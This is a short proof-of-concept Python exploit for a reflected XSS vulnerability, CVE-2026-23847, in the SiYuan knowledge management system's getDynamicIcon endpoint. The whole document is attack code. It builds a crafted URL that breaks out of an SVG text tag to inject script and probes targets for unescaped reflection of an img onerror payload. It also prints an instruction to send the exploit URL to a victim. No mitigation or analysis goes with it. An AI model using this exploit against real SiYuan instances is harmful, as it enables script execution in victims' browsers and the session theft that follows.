CVE-2026-23847: SiYuan知识管理系统反射型XSS漏洞

import requests # CVE-2026-23847 PoC - Reflected XSS in SiYuan /api/icon/getDynamicIcon # Target: SiYuan < 3.5.4 # Vulnerability: Unsanitized SVG input leading to XSS def exploit_siyuan_xss(target_url, payload): """ Exploit reflected XSS in /api/icon/getDynamicIcon endpoint Args: target_url: Base URL of vulnerable SiYuan instance payload: Malicious JavaScript payload to inject Returns: Exploit URL that triggers the XSS """ exploit_url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={payload}" return exploit_url def generate_xss_payload(): """ Generate XSS payload that breaks SVG structure and executes JS Payload breaks out of <text> tag and injects script """ # Payload that closes the text tag and injects script payload = "</text><script>alert(document.domain)</script><text>" return payload def verify_vulnerability(target_url): """ Verify if the target is vulnerable by checking for XSS reflection """ test_payload = "</text><img src=x onerror=alert(1)>" url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={test_payload}" try: response = requests.get(url, timeout=10) # Check if payload is reflected without escaping if response.headers.get('Content-Type') == 'image/svg+xml': if '</text><img src=x onerror=alert(1)>' in response.text: return True except requests.RequestException: pass return False if __name__ == "__main__": # Example usage target = "http://localhost:6806" payload = generate_xss_payload() exploit_url = exploit_siyuan_xss(target, payload) print(f"[+] Exploit URL: {exploit_url}") print(f"[+] Send this URL to victim to trigger XSS") # Verify if verify_vulnerability(target): print("[+] Target is VULNERABLE") else: print("[-] Target may not be vulnerable or patched")